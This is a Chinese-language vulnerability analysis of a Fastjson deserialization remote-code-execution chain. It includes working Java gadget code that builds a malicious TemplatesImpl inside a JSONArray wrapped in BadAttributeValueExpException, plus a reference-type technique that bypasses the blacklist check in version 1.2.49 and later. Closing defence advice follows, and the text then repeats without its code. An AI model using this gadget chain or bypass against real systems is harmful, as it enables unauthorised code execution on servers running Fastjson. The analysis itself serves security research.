影响fastjson全版本的反序列化过程中的任意getter方法触发RCE
字数 1381 2025-08-11 00:55:10

Fastjson 反序列化漏洞深入分析与利用

漏洞概述

Fastjson 是一个广泛使用的 Java JSON 处理库,在多个版本中存在反序列化过程中任意 getter 方法触发的远程代码执行(RCE)漏洞。该漏洞允许攻击者通过精心构造的 JSON 数据触发目标类中的 getter 方法,进而执行任意代码。

漏洞原理

核心问题

Fastjson 在反序列化过程中会调用对象的 getter 方法,这一特性可以被利用来触发恶意类的特定方法:

  1. JSONArray/JSONObject 的 toString 方法会触发内部元素的 getter 方法调用
  2. 反序列化过程中也会触发 getter 方法

关键调用链

JSONArray/JSONObject.toString() 
→ 调用元素的 getter 方法
→ 触发恶意逻辑(如 TemplatesImpl.getOutputProperties)

利用条件

  1. 目标系统使用 Fastjson 进行 JSON 处理
  2. 存在反序列化入口(如接收 JSON 数据并解析)
  3. 目标类路径中存在可利用的类(如 TemplatesImpl)

详细利用分析

基本利用方式

// 创建恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};

// 设置 TemplatesImpl 实例
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);

// 构造恶意 JSONArray
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

// 构造 BadAttributeValueExpException 触发点
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

版本差异分析

Fastjson ≥1.2.49

高版本引入了 SecureObjectInputStream 类,通过重写 resolveClass 方法进行安全检查:

  1. 检查流程:

    • 默认关闭 autoTypeSupport
    • 先检查黑名单,再检查白名单
    • 黑名单包含 com.sun 包下的所有类
  2. 黑名单来源:

    • ParserConfig 静态代码块初始化
    • 部分 hash 黑名单类(参考 fastjson-blacklist

Fastjson <1.2.49

低版本虽然实现了 Serializable 接口,但没有重写 readObject 方法,因此不进行安全检查。

绕过安全机制

引用类型绕过

通过创建引用类型避免调用 resolveClass 方法:

  1. 序列化过程中,相同的对象第二次出现时会被标记为 TC_REFERENCE
  2. 反序列化时,引用类型不会触发 resolveClass 检查
// 使用 HashMap 等创建引用
ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
concurrentHashMap.put(templates, val);

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(concurrentHashMap);

适用容器类:

  • HashMap
  • ConcurrentHashMap
  • LinkedHashMap
  • IdentityHashMap

反序列化流程分析

  1. readObject0 根据类型执行不同操作
  2. 会调用 resolveClass 的方法:
    • readClass
    • readClassDesc
    • readArray
    • readOrdinaryObject
  3. 不会调用 resolveClass 的类型:
    • Null
    • Reference
    • String/LongString
    • Enum
    • Exception

防御措施

  1. 升级 Fastjson 到最新安全版本
  2. 禁用 autoType 功能(默认已禁用)
  3. 严格过滤输入,特别是反序列化数据
  4. 使用白名单 机制限制可反序列化的类
  5. 安全建议:将安全检查置于 source 点,而非反序列化过程中

总结

该漏洞利用 Fastjson 反序列化过程中 getter 方法调用的特性,结合 Java 反序列化机制,实现了远程代码执行。不同版本有不同的防御机制,但通过引用类型等技术可以绕过部分安全检查。防御时应采取多层次的安全措施,而不仅仅是依赖单一防护机制。

参考资源

  1. fastjson-blacklist
  2. y4tacker's blog
  3. Drun1baby's CTF Repo
Fastjson 反序列化漏洞深入分析与利用 漏洞概述 Fastjson 是一个广泛使用的 Java JSON 处理库,在多个版本中存在反序列化过程中任意 getter 方法触发的远程代码执行(RCE)漏洞。该漏洞允许攻击者通过精心构造的 JSON 数据触发目标类中的 getter 方法,进而执行任意代码。 漏洞原理 核心问题 Fastjson 在反序列化过程中会调用对象的 getter 方法,这一特性可以被利用来触发恶意类的特定方法: JSONArray/JSONObject 的 toString 方法 会触发内部元素的 getter 方法调用 反序列化过程 中也会触发 getter 方法 关键调用链 利用条件 目标系统使用 Fastjson 进行 JSON 处理 存在反序列化入口(如接收 JSON 数据并解析) 目标类路径中存在可利用的类(如 TemplatesImpl) 详细利用分析 基本利用方式 版本差异分析 Fastjson ≥1.2.49 高版本引入了 SecureObjectInputStream 类,通过重写 resolveClass 方法进行安全检查: 检查流程: 默认关闭 autoTypeSupport 先检查黑名单,再检查白名单 黑名单包含 com.sun 包下的所有类 黑名单来源: ParserConfig 静态代码块初始化 部分 hash 黑名单类(参考 fastjson-blacklist ) Fastjson <1.2.49 低版本虽然实现了 Serializable 接口,但没有重写 readObject 方法,因此不进行安全检查。 绕过安全机制 引用类型绕过 通过创建引用类型避免调用 resolveClass 方法: 序列化过程中,相同的对象第二次出现时会被标记为 TC_REFERENCE 反序列化时,引用类型不会触发 resolveClass 检查 适用容器类: HashMap ConcurrentHashMap LinkedHashMap IdentityHashMap 反序列化流程分析 readObject0 根据类型执行不同操作 会调用 resolveClass 的方法: readClass readClassDesc readArray readOrdinaryObject 不会调用 resolveClass 的类型: Null Reference String/LongString Enum Exception 防御措施 升级 Fastjson 到最新安全版本 禁用 autoType 功能(默认已禁用) 严格过滤输入 ,特别是反序列化数据 使用白名单 机制限制可反序列化的类 安全建议 :将安全检查置于 source 点,而非反序列化过程中 总结 该漏洞利用 Fastjson 反序列化过程中 getter 方法调用的特性,结合 Java 反序列化机制,实现了远程代码执行。不同版本有不同的防御机制,但通过引用类型等技术可以绕过部分安全检查。防御时应采取多层次的安全措施,而不仅仅是依赖单一防护机制。 参考资源 fastjson-blacklist y4tacker's blog Drun1baby's CTF Repo